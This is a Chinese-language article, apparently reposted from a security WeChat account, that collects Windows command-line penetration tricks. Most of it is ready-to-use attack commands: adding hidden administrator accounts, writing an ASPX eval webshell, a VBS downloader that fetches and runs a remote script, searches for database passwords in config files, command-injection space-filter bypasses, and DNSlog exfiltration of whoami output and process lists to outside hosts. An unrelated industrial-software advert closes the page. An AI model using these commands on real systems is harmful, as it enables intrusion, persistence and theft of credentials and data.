干货 | Windows命令行下常用渗透技巧

互联网/新科技 beaji 2021-12-16 21:13 416 0
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

渗透测试中无论是打点,还是后渗透,多多少少都会用到命令行下的一些技巧以达到快速拿到目标主机权限和绕过一些安全防护功能等。其实在cmd和powershell下只要灵活运用就能满足大部分渗透需求,主要还是看你遇到什么样的场景,需要完成什么需求,达到什么样的效果?


当然,这里笔者也只是将以前自己常用到的,以及在看各位师傅文章中学到的技巧搜集整理在一起分享给大家,希望对大家能有所帮忙,有时间再做补充,也期待各位师傅的补充!!!如有错误,还望指出!!!


0x02 利用|/&管道符执行多条命令

应用场景:常用于查找远程桌面端口号、异常网络连接以及添加管理员用户等。



netstat -ano | findstr "ESTABLISHED"net user 90sec 123456 /ad & net localgroup administrators 90sec /ad


0x03 利用^转义符解决<>字符问题

应用场景:常用于写入Webshell木马文件时对<>、&等特殊字符的转义,不加写不了。


echo ^<%@Page Language="Jscript" validateRequest="false"%^>^<%Response.Write(eval(Request.Item["w"],"unsafe"));%^> > c:\Users\3had0w\Desktop\ok.aspx


0x04 利用dir/for等命令查找网站路径

应用场景:常用于内网信息搜集查找铭感文件和内容,也可根据文件名、扩展以及内容来查找文件所在位置绝对路径,如:1.网站路径和数据库连接文件、2.被黑灰产修改过的(跳转)脚本文件等。








dir /a/b/s D:\web\*.aspwhere /r D:\web\ *.php *.aspfor /r D:\web\ %i in (*.php *.asp) do @echo %i%windir%\system32\inetsrv\appcmd list VDIR
findstr /n /s /i "uid=sa" E:\ftp_bak\*.configfindstr /n /s /i "DB_PWD" D:\www\*.php


0x05 利用:冒号将VBS脚本代码写在一行

应用场景:常用于命令行下写入Webshell木马、VBS添加用户、下载者等恶意脚本,>创建,>>叠加,注意2、4、8、9行中的&管道符,也要用^转义下才能正常写入。










echo set wsnetwork=CreateObject("WSCRIPT.NETWORK") > C:\adduser.vbsecho os="WinNT://"^&wsnetwork.ComputerName >> C:\adduser.vbsecho Set ob=GetObject(os) >> C:\adduser.vbsecho Set oe=GetObject(os^&"/Administrators,group") >> C:\adduser.vbsecho Set od=ob.Create("user","betasec") >> C:\adduser.vbsecho od.SetPassword "pass!@#!23" >> C:\adduser.vbsecho od.SetInfo >> C:\adduser.vbsecho Set of=GetObject(os^&"/betasec",user) >> C:\adduser.vbsecho oe.add os^&"/betasec" >> C:\adduser.vbs


0x06 利用>/>>重定向符叠加写入VBS

应用场景:常用于MSSQL高权限注入点写入VBS脚本文件,一行一行写过于繁琐。VBScript可以在一行代码内同时对两个变量进行赋值,中间用冒号分隔即可,脚本可正常执行。


echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/adduser.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:\adduser.vbs",2:wscript.sleep 1000:Shell.Run ("c:\adduser.vbs") > c:\down.vbs

0x07 利用for命令探测工作组/域存活主机

应用场景:常用于探测工作组和域内存活主机,用的是Ping命令,基于ICMP协议,但如果禁Ping时该方法则无效,利用此方法在实际应用中可能需要做少许修改:内网IP或网段。


直接在命令终端回显:


@for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | findstr /i "ttl="

将存活主机写入到文件:





@for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | findstr /i "ttl=" >nul & if errorlevel 1 (echo 192.168.1.%i May be sleeping ! >> result.txt) else (echo 192.168.1.%i is alive ! >> result.txt)
查看扫描后的存活主机:type result.txt | findstr "alive"

工作组/域内存活主机探测:

这个批处理文件可用于对内网工作组和域内存活主机进行简单的扫描探测,并且支持中英文操作系统。











@echo off@echo.@FOR /F "usebackq delims=, " %%J IN (`net view /domain ^|find "命令成功完成" /v ^|find "The command completed successfully." /v ^|find "命令成功完成" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v ^|find "コマンドは正常に終了しました" /v /i`) do (@echo ====== Domain:%%J =========@FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr "\\"`) do (@FOR /F "usebackq eol=; tokens=1,2,3* delims=\\" %%a in (`@echo %%i`) do (ping %%a -4 -n 1 -w 100 |find /i "ping" > %%a.txt@FOR /F "tokens=2 delims=[]" %%b in (%%a.txt) do @echo \\%%a = [%%b]@del /f /q %%a.txt)))@echo ====== Getting IP Complete ======

0x08 利用符号或者环境变量截取绕过空格

应用场景:常用于命令执行漏洞绕过,在代码层面或安全防护中过滤了空格,也就是在执行命令时不能带有空格,最近几天在几个群里都看到有人讨论这个问题,也属常见问题。


特殊符号:记一次“上传”命令执行的绕过案例









echo.123>>a.txtecho,123>>a.txttype;a.txt[...SNIP...]
&cd;..&cd;..&cd;windows&cd;system32&cd;..&cd;1631359215&cs.jpg&.jpg[...SNIP...]

环境变量:命令注入靶场空格过滤绕过测试











%path:~10,1%%programfiles:~10,1%%processor_identifier:~7,1%%commonprogramw6432:~10,1%%commonprogramfiles(x86):~10,1%%commonprogramfiles:~10,1%%commonprogramfiles:~10,-18%%commonprogramfiles:~23,1%%fps_browser_app_profile_string:~8,1%[...SNIP...]

0x09 利用dnslog查看注入点执行命令结果

应用场景:用于探测目标主机的DNS协议是否能够出网,或者是在高权限注入无回显时也可以通过dnslog来将命令执行结果带出,如:查看当前用户和进程列表等。


探测DNS出网状态:




ping ******.dnslog.cnnslookup ******.dnslog.cn<?php gethostbyname("******.dnslog.cn");?>

查询当前用户权限:




for /F %i in ('whoami') do nslookup %i.lr5dyr.dnslog.cn
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.ly9hvm.dnslog.cn && nslookup !FINAL!" && del temp*

0x10 利用dnslog查看目标主机的杀毒软件

应用场景:用于MSSQL高权限注入,目标主机不出网,但想利用dnslog探测主机中是否有杀软?两种方法原理一样,都是先获取进程列表,然后for、ForEach循环Ping、nslookup通过dnslog带出来





for /F %i in ('wmic process get Name ^| findstr ".exe"') do ping -n 1 %i.******.dnslog.cn >nul
powershell -c "Get-Process | select processname > 1.txt"powershell -c "Get-Content .\1.txt | Sort-Object -Unique | ForEach-Object {if($_ -match $regex){$b=$_.trim();ping -n 1 $b'.***fks2j.ns.dns3.cf.'} }"




本篇文章来源于微信公众号:                         渗透Xiao白帽



五大“核芯”产品,一大“技术输出”: 【智慧集团管控平台】: 关键词:【集团专属系统平台】,【实时对比】各区域工厂【同一时间段的生产数据】。 【智能工厂管家】:(MES) 关键词:【现场监控可视化、业务流程规范化、生产管理精细化、能源利用合理化、资源配置最优化、调度决策科学化】。 【智能调度器】:(APC) 关键词:【智能控制】,【关键参数实时优化推荐】,【长期稳定运行】 【孪生工厂】: 关键词:【工厂实体建模】,【设备预警】,【关键参数】、【实时展示大屏】 【超低排放助手】: 关键词:【超低排放】,同时降低【20%】以上的还原剂使用量。 【一大技术输出】  技术成品输出:  关键词:提供【成品软件】,或【专项定制研发软件】。  技术能力输出:  关键词:【专业技术团队】、【驻扎项目】

评论区